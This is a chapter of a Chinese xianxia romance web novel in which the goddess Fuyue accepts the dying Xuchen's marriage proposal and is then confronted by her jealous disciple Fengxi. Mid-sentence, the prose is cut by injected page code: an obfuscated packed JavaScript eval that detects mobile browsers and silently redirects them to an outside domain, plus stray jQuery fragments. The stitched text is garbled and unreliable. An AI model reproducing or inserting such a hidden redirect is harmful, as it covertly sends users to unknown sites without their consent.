25. 点头

作品:《阴鸷徒弟今天又装乖了吗

    腾云前往北海的路上,扶月想了许多。


    这些年,上古时代的大神们或陨落或避世,也不剩多少了。但因与他们交往不深,扶月对此只有唏嘘,并无太过浓重的感伤之意。


    胥辰大帝与她是同一时代的人,他们虽不是两小无猜,却也可以称得上青梅竹马,若胥辰离世了……扶月可能会结结实实地伤感一场。


    左不过……扶月心里其实不太相信小仙童的话。


    就在几天前,胥辰还蹲在碧霄宫外吹笛子,吹到长音时连气都不用换,生龙活虎的,扶月不信他短短几日便病得将要离世。


    扶月做好了打算。等下见到胥辰,若发现他故意装病,拿这种事情博取同情引她见面,她便狠狠踢他两脚,让他短期内下不了床。


    祥云消散在静虚宫前。两位仙仆一左一右领着扶月,穿过一眼望不到尽头的长廊,快步前往胥辰休憩的寝殿。


    拉开绘有花鸟鱼虫的屏风,胥辰大帝半靠在床头的身影出现在眼前,扶月立时惊得倒抽了一口冷气——他怎会憔悴至此?!


    不过两三日未见,胥辰大帝竟消瘦了一大圈,脸色苍白得吓人,两只眼下也泛着青灰色,喘息声短促微弱。


    “不过是前几日淋了点雨,怎会病重至此?”扶月不可置信地抬动脚步,掩唇惊讶道,“胥辰,你别吓我!”


    “咳咳。你来啦。”见到扶月,胥辰无神的眼底透出几分光彩,“我活不久了。”他的语气平淡得很,像是在跟扶月说一件无关紧要的事情,“我不想带着遗憾离去,所以让他们请你过来。”


    灰暗的眸子里溢出苦笑,他道:“还好,你来了。”


    扶月原本是抱着踢胥辰一脚的心态来的,见他当真病重憔悴,倒不知该如何是好了:“不要胡说。”她怔怔立在榻旁,面色凝重道,“你又没像几位老君那样,老得头发胡子都白了。大抵是病情来得太急,你好生养一养,会恢复如初的。”


    “我……”胥辰望了望扶月,欲言又止。他挥手屏退殿中伺候的仙仆,才坦诚告诉扶月,“我用了禁术,去找寻周琯的下落,代价是折寿一千载。”


    扶月惊得猛然抬头:“你疯了!”鬓边的珍珠步摇激烈晃动,她下意识斥责胥辰,“你是上古之人,熟读父神定下的各项规章,你应当知道,使用禁术必遭反噬,折寿一千载尚且是轻的!”


    胥辰抬头对上扶月恼火的眼睛,语调一如往常平静淡然:“你可以笑我痴,也可以笑我傻,甚至可以笑我癫狂。”他盯着扶月,眼底流淌几乎让人喘不过气的温柔,“对我而言,能找到周琯,与她再续前缘,哪怕明天就死也值得。”


    扶月当真觉得胥辰疯得厉害——他脑子里装的到底是什么啊?是爱重要还是命重要?


    殿中有股熟悉的枯骨木与百老芽混合的气味,扶月揉揉鼻子,忍住想打喷嚏的冲动,无奈叹息道:“难听的话我也说了好多,语重心长的话也说了不少。胥辰,有些道理,你该懂得……”


    “我自然懂得,你说的所有道理,我都懂。但……”病痛带来的折磨让胥辰大帝脸上的棱角愈发清晰,他靠在床沿边苦笑,“懂是一回事,能做到又是一回事。”


    他睁着那双历经世事后沉稳内敛的眼眸,温柔注视扶月:“知道周琯便是你在人间历劫的化身时,我先是吓了一跳——怎么会有这么巧的事情?但很快,这份惊讶便转变成为了欣喜。”他问扶月,“你知道为什么吗?”


    西窗下那两盆矮松依旧长势良好,枝干虬曲,青翠欲滴。


    扶月瞥了眼矮松,又低头看鞋子上的花纹,尽量不和胥辰眼神对视:“为何。”


    胥辰的声音听来格外柔情似水:“因为我爱过的人里,不仅有周琯,也有扶月。”


    “咳咳。”胥辰抵唇咳嗽两声,唇角漫上一抹微不可见的自嘲,“昔年父神为你我二人做媒时,我心中其实十分情愿。只是你一直出言拒绝,我才被迫隐忍不言。”


    “你便是周琯,周琯便是你。”唇角的自嘲笑意散去,胥辰扬眉紧盯扶月,目光忽而变得灼烫如火,“一轮明月照两地,最终却殊途同归。所以,我很欣喜。”


    这是扶月第一次听胥辰说起他的心意。


    在一起共事那么多年,她竟没察觉出他的喜欢。


    “过去的事情……”扶月心里乱糟糟的,脑海里翻滚着许多念头,“就不要再说了。”


    正值傍晚,暖橙色斜阳透过半开的窗户照进殿内,不偏不倚照亮胥辰的右半边脸。睫毛在眼下投出暗影,胥辰大帝望着扶月,语调低沉缓慢:“父神陨落已有千年了,你也搬进天上天,代他做了近千年的六界共主。这千年来,你身边虽有仙仆陪伴,后又收了应龙遗孤做徒弟,但我知道,你内心深处始终孤独。”


    “扶月。”胥辰再次郑重唤扶月的名字,“嫁我为妻,好吗。”他目不转睛盯着扶月,字里行间的诚恳之意满得几乎溢出来:“哪怕只得短暂的欢愉,也足矣。”


    或许是糊涂油蒙了心,又或许是鬼使神差,这一次,扶月竟没有拒绝。


    她看着西窗下那两盆矮松,眼神虚晃,心不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501378|184479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在焉道:“好,我嫁给你。何时成婚?”


    残阳褪去在天边留下的红意,夜来得悄无声息。


    这是个暗夜,天空没有月亮,连星星也没有,到处黑漆漆的,什么都看不清楚。


    扶月顶着晕乎乎的脑袋回到天上天时,夜色已浓得化不开了,好在有碧霄宫前的灯笼闪烁光亮,让她不至于迷失方向。


    她不想吵醒凤溪和君岚,便用一只手抱住黑猫小白,腾出另一只手去推书房的雕花大门——是了,扶月离开静虚宫前,特意向胥辰要来了小白。


    她不舍得将小白放在静虚宫。


    “吱呀。”没等扶月的手触碰到门把手,紧闭的木门忽而被人从内拉开,一道颀长身影如鬼魅般出现在门后,双臂环抱,眉头紧锁,一看就是等了许久。


    “呀。”扶月吓得浑身一哆嗦,差点儿把怀中的黑猫丢出去。她借着门前灯笼微光,勉强辨认出那人的面容:“凤、凤溪?”


    门后那人着一身可以融入月夜的黑金广袖长袍,肩腿线条修长,眸光冷若冰霜,不是凤溪还能是谁?


    “到哪里去了?”凤溪保持着双臂环抱的姿势,冷着声儿问扶月,“怎么回来得这样迟?”


    不晓得为何,看到凤溪堵在门口的身影,扶月竟有种心虚的感觉,睫毛颤动得厉害。


    扶月晓得,凤溪不喜欢胥辰。若他知道她私下去探望胥辰大帝,估摸会撂好几天脸子给她看。


    “那个……”扶月抱紧小白,眼神飘忽不定道,“陪一个朋友说说话。他、他身体不好,传话说想见见我。”


    凤溪没有让开的意思,继续不依不饶追问:“哪个朋友?”


    “就是那个谁。”扶月眼神有些慌乱,支支吾吾道:“大家都认识的那谁……”


    不对。扶月眨了下眼睛,突然想起了她的身份:若她没记错,她是凤溪的师尊罢?


    哪有徒弟堵在师尊书房门口,追问师尊行踪的。


    “凤溪。”慌乱的眼神被镇定取代,扶月刻意摆出尊长的架子,佯装不悦道,“你管得太宽了。”


    视线触及扶月韫色渐浓的脸庞,凤溪这才松开双臂,闪身让扶月进屋。


    他寻出火折子,点亮书房门口的琉璃油灯,驱散长夜黑暗。


    琉璃油灯发出的光芒照亮了扶月的身影,凤溪后知后觉发现,她的怀中抱着一只黑猫——正是胥辰大帝宫里那只。


    扶月去了哪里,不言而喻。


    他的脸色沉下来,薄唇抿成一条线,眸色变得比门外的夜色还要幽暗。